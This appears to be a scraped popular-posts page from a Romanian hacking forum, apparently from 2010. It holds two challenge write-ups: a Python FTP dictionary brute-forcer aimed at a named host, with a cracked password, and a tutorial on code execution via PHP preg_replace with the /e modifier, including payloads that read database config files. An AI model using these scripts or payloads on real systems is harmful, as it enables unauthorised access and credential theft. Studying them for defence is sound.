Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 08/13/10 in all areas

  1. [url]http://mariano-graziano.llab.it/docs/report.pdf[/url]
    1 point
  2. Stiu ca este un pic cam tarziu, dar cand a facut Pyth0n3 challenge-ul in legatura cu server-ul care rula SSH (a.k.a. root), am observat ceva in legatura cu server-ul FTP. Totul este explicat in codul urmator in comment-uri. #!/bin/env/python # Coded by Flubber [2010] # # Pentru challenge-ul propus de Pyth0n3 pe RSTCenter.com/forum # # - am observat ca port-ul FTP-ului este deschis si daemon-ul care ruleaza este VSTPD ("21 tcp port open , service vstpd ") # # am incercat o conexiune cu mai multe usere si conexiunea esua (imi era inchisa automat de catre serverul ftp) # # din cauza ca user-ul nu era corect, din moment ce Pyth0n3 a spus ca username-ul este "user", odata ce am incercat # # conexiunea cu user-ul respectiv mi-a cerut parola ftp-ul, tind sa cred ca parola pe ssh de la user-ul "user" este la fel # # ca cea de la ftp. Am scris acest bruteforcer simplu si primitiv pentru a demonstra asta # # Further notice [challenge-ul s-a incheiat, parola de la user era "geterror" -- tind sa cred ca aceasta nu era la fel # ca cea a user-ului de pe ssh] # # UPDATE: am primit un raspuns direct de la autorul challenge-ului, parola de la user-ul ssh era LA FEL ca cea de la # # user-ul de pe FTP, banuiala a fost una buna # print "\r\n[#] Coded by Flubber - 2010 - versiunea Python: 2.6.5\r\n" print "[*] Cateva setari elementare.\r\n" from ftplib import FTP # Setam parametrii in variabile (cum ar fi: target-ul, port-ul, etc.) victima = "server5.ftpaccess.cc" port = 21 timeout = 30 conexiune = FTP() status = "" def conectare(): try: done = conexiune.connect(victima, port, timeout) except Exception, e: print "[-] Conectare esuata, verifica adresa victimei." status = False else: print "[+] Conectare cu succes, printez banner-ul (daca e vreunul):" print "### INCEPUT " + "#" * 10 + "\r\n" print done + "\r\n" print "### SFARSIT " + "#" * 10 + "\r\n\n" status = True if status == True: print "[*] Incepem atacul dictionar." listaparolee = open("parole", "r") listaparole = listaparolee.readlines() listaparolee.close() for linie in listaparole: linie = linie.strip("\n") print "[*] Incerc user-ul " + '"' + "user" + '"' + " si parola: " + '"' + str(linie) + '"' + "." try: conexiune.login("user", linie) print "[+] Shiznotz! Am gasit ceva. Parola: " + '"' + linie + '"' + ".\r\n" print "[+] Returnez lista cu fisiere din directorul curent (dir):" conexiune.retrlines("list") print "\r\n" * 2 print "[+] Directorul curent (pwd): " print conexiune.pwd().strip("\n") print "\r\n[+] Mesajul welcome:" print conexiune.getwelcome().strip("\n") conexiune.quit() except Exception, e: nuamers = 1 if nuamers == 1: print "\r\n[*] Sfarsitul atacului." else: print "[-] Ceva a mers gresit. Hmm, oare ce?" conectare() Este primitiv codul si inca sunt varza*, orice critica este binevenita, orice greseala a codului, s.a.m.d. din care pot invata ceva. Dictionarul folosit este aici. Bineinteles, nu a fost si cuvantul "geterror" in dictionar, ceea ce a facut, ca, atacul sa esueze, crezand ca banuiala mea este una proasta [change teh wordlist to a better one, IDIAT!]. * - deasemenea, m-am inspirat din scriptul lui gunslinger in legatura cu "try:" si "except Exception, e"
    1 point
  3. Mai întâi de toate, vreau s? spun, c? acest tutorial, de fapt e r?spunsul unui mic Challenge, care a fost rezolvat doar de hari (lucru pentru care îl ?i felicit ?i m? bucur nespus c? a reu?it. Bravo!). Cât despre Challenge, a?a cum a spus ?i înving?torul, într-adev?r — a fost foarte simplu (desigur, dac? a?i auzit de func?ia ”preg_replace” ?i modificatorul ”e”)... ?i, dat fiind faptul c? nu doream, ca testul s? fie rezolvat prea u?or, în codul PHP, am folosit dou? mici ?iretlicuri: cu ajutorul semnului ”@”, am suprimat erorile (în caz c? cineva va testa scriptul pe serverul propriu); folosind func?ia Open_Page(), am l?sat s? se cread? c? este vorba de un LFI; Deci, dac? elimin?m liniile de cod care ne duc în eroare, din acel script va r?mâne doar o singur? linie: preg_replace( '#(<[a-z]+.*?>)(.*?)(</[a-z]+>)#isem', '\\2', $_POST['comment'] ); care, va extrage ?i va afi?a doar textul aflat în tag-urile HTML. De exemplu, din comentariul: Acesta este <a href='//site.com'>site-ul</a> meu , va fi extras? ?i afi?at? doar fraza ”Acesta este site-ul meu”. La prima vedere, aceasta nici pe departe nu pare a fi o vulnerabilitate, nemaivorbind despre PHP Shell, dar, v? rog s? atrage?i aten?ia la litera ”e” din lista modificatorilor: ”isem”. Deoarece anume acest modificator va trata parametrul ”\\2” ca fiind un cod PHP. Deci, pentru a primi detalii despre configurarea serverului, atacatorul trebuie s? posteze urm?torul comentariu: <i>phpinfo()</i> Astfel, preg_replace(),va extrage textul aflat în tag-ul ”<i>” ?i îl va trata ca pe un cod PHP, adic?, va afi?a rezultatul func?iei phpinfo(). ?i, cum v? da?i bine seama, mult mai periculos, este faptul c? atacatorul poate citi sau crea fi?iere pe server. De exemplu, pentru a citi datele din fi?ierul dbconfig.php, aflat în directorul inc/data se va folosi expresia: file_get_contents( base64_decode( aW5jL2RhdGEvZGJjb25maWcucGhw ) ) unde, func?ia file_get_contents() va citi informa?ia din fi?ierul inc/data/dbconfig.php, numele ?i adresa c?ruia a fost encodat? cu ajutorul func?iei base64_encode(). Exploatarea acestei vulnerabilit??i poate fi ob?inut? mult mai simplu, definind o noua variabil? dbconfig (apropo, aceasta poate fi atât de tip POST, cât ?i de tip GET). De exemplu, se ia pagina site-ului www.site.com, se adaug? parametrul dbconfig=inc/data/dbconfig.php ?i se acceseaz?: http://www.site.com/?dbconfig=inc/data/dbconfig.php în c?su?a comentariului se scrie: <i>file_get_contents($_GET[dbconfig])</i> astfel, dup? ce a se va posta comentariul, va fi afi?at? forma?ia din fi?ierul dbconfig.php. Vreau s? mai adaug, c? nu doar func?ia preg_replace(), ci ?i preg_filter() va executa ceea ce e descris mai sus. Not?: Ini?ial, credeam c? despre aceast? metod? nu a pomenit nimeni, dar cu mult timp în urm? (anul 2001) Shaun Clowes, în raportul Exploiting Common Vulnerabilities in PHP Applications, a aten?ionat ”publicul” despre func?iile care prezint? un mare pericol pentru aplica?iile PHP. B7ackAnge7z Special pentru RST
    1 point
  4. 1 point
  5. [quote name=Bebe1911;167201 LE2: Atunci cand faci calculu pot sa`ti dea numai anumite numere... Adica 27' date='36,42,45,54,56,63,72,81,86. Numere astea intotdeauna o sa aiba acelasi semn. 9,18,27,36,45,54,63,72,81 -> astea is numerele care vor fi la fel mereu. 42,56,86 n-are treaba.
    1 point
  6. ups nam vzt ca trb pm:))
    1 point
  7. Ti-am dat PM, e tare chestia.
    1 point
  8. ai pm........................
    1 point
×
×
  • Create New...